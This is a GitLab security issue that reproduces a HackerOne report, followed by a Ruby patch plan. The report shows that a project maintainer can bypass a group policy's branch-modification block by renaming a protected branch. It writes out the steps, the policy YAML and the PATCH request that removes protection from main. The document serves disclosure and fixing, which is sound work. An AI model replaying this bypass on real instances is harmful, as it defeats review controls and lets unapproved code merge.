:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2280292](https://hackerone.com/reports/2280292)** by `js_noob` on 2023-12-10, assigned to @cmaxim: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary Hello team, group owners can create scan result policies with the `block_branch_modification` setting, which blocks all project owners/maintainers from removing a branch from the protected branches list. From the [docs](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#approval_settings) >When enabled, prevents a user from removing a branch from the protected branches list, deleting a protected branch, or changing the default branch if that branch is included in the security policy. This ensures users cannot remove protection status from a branch to merge vulnerable code. However, this is bypassable. ##### Steps to reproduce **As a group owner:** 1. Create a new group, and apply the ultimate trial to it 2. Navigate to https://gitlab.com/groups/GROUP/-/security/policies/new?type=scan_result_policy, and create a policy using the following YAML code ``` name: Test Policy description: '' enabled: true actions: - type: require_approval approvals_required: 1 role_approvers: - owner rules: - type: any_merge_request branch_type: protected commits: any approval_settings: block_branch_modification: true prevent_pushing_and_force_pushing: true prevent_approval_by_author: true prevent_approval_by_commit_author: true remove_approvals_with_new_commit: true require_password_to_approve: false ``` 3. Create a project in that group 4. Invite a maintainer to that project (not to the group) **As the project maintainer:** 5. Verify that you can't push code to the `main` branch 6. Send the following API request and save the ID of the returned rule for the `main` branch ``` curl --header "PRIVATE-TOKEN: PAT" "https://gitlab.com/api/v4/projects/PROJECT_ID/protected_branches" ``` 7. Send the following request ``` PATCH /GROUP/PROJECT/-/protected_branches/ID_FROM_STEP_6 HTTP/2 Host: gitlab.com Cookie: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://gitlab.com/my-new-nice-group-180/karina/-/settings/repository X-Csrf-Token: Vo1A1ipTo4K9PMvS9_qAAclJP2UBOfw6n5hhL8-USqpoquf1JgvT6TgFisVPIpeaLnWBT9zT84pvSjAL5t4cFg X-Requested-With: XMLHttpRequest Content-Type: application/json Sentry-Trace: 86e3cfc2a9a64cbd8f32dc9c5720eca1-a776e8af4b08a74e-1 Baggage: sentry-environment=gprd,sentry-release=e627abfc601,sentry-public_key=f5573e26de8f4293b285e556c35dfd6e,sentry-trace_id=86e3cfc2a9a64cbd8f32dc9c5720eca1 Content-Length: 69 Origin: https://gitlab.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers {"protected_branch":{"name":"messed_up","allow_force_push":true}} ``` 8. Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/repository, and verify that the protection on the `main` is removed 9. Verify that you can push code to the `main` branch ##### POC  ##### What is the current *bug* behavior? Request to update a protected branch allows branch name updates. ##### What is the expected *correct* behavior? Request to update a protected branch shouldn't allow branch name updates. ##### Output of checks This bug happens on GitLab.com #### Impact Users can remove protection status from a branch to merge vulnerable code. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [Screen_Recording_2023-12-10_at_10.38.30_PM.mov](https://h1.sec.gitlab.net/a/f576302d-95fc-456c-8186-45e919579c2a/Screen_Recording_2023-12-10_at_10.38.30_PM.mov) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. ## Potential Fixes - [ ] prevent name change of protected branch (both via the REST API and the GraphQL Mutation) (partially re implementing https://gitlab.com/gitlab-org/gitlab/-/merge_requests/130653+ for the `name` field in `ProtectedBranches::UpdateService`) [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues ## Implementation Plan ```diff diff --git a/ee/app/models/security/scan_result_policy_read.rb b/ee/app/models/security/scan_result_policy_read.rb index fa1faba08e5e..7b01078feab3 100644 --- a/ee/app/models/security/scan_result_policy_read.rb +++ b/ee/app/models/security/scan_result_policy_read.rb @@ -31,6 +31,9 @@ class ScanResultPolicyRead < ApplicationRecord scope :for_project, ->(project) { where(project: project) } scope :targeting_commits, -> { where.not(commits: nil) } scope :including_approval_merge_request_rules, -> { includes(:approval_merge_request_rules) } + scope :blocking_branch_modification, -> do + where("project_approval_settings->>'block_branch_modification' = 'true'") + end def newly_detected? license_states.include?(ApprovalProjectRule::NEWLY_DETECTED) diff --git a/ee/app/services/ee/protected_branches/renaming_blocked_by_policy.rb b/ee/app/services/ee/protected_branches/renaming_blocked_by_policy.rb new file mode 100644 index 000000000000..ad34fa7d1072 --- /dev/null +++ b/ee/app/services/ee/protected_branches/renaming_blocked_by_policy.rb @@ -0,0 +1,41 @@ +# frozen_string_literal: true + +module EE + module ProtectedBranches + module RenamingBlockedByPolicy + def execute(protected_branch) + raise ::Gitlab::Access::AccessDeniedError if renaming? && blocked?(protected_branch) + + super + end + + private + + def renaming? + params.key?(:name) + end + + def blocked?(protected_branch) + return blocking_branch_modification?(protected_branch.project) if protected_branch.project_level? + + blocking_group_branch_modification?(protected_branch.group) + end + + def blocking_branch_modification?(project) + return false unless project&.licensed_feature_available?(:security_orchestration_policies) + return false unless ::Feature.enabled?(:scan_result_policies_block_unprotecting_branches, project) + + project.scan_result_policy_reads.blocking_branch_modification.exists? + end + + def blocking_group_branch_modification?(group) + return false unless group&.licensed_feature_available?(:security_orchestration_policies) + return false unless ::Feature.enabled?(:scan_result_policy_block_group_branch_modification, group) + + ::Security::SecurityOrchestrationPolicies::GroupProtectedBranchesDeletionCheckService + .new(group: group) + .execute + end + end + end +end diff --git a/ee/app/services/ee/protected_branches/update_service.rb b/ee/app/services/ee/protected_branches/update_service.rb index 86d5f8c5f638..c79418d1f223 100644 --- a/ee/app/services/ee/protected_branches/update_service.rb +++ b/ee/app/services/ee/protected_branches/update_service.rb @@ -3,6 +3,8 @@ module EE module ProtectedBranches module UpdateService + prepend RenamingBlockedByPolicy + def after_execute(protected_branch:, old_merge_access_levels:, old_push_access_levels:) super ```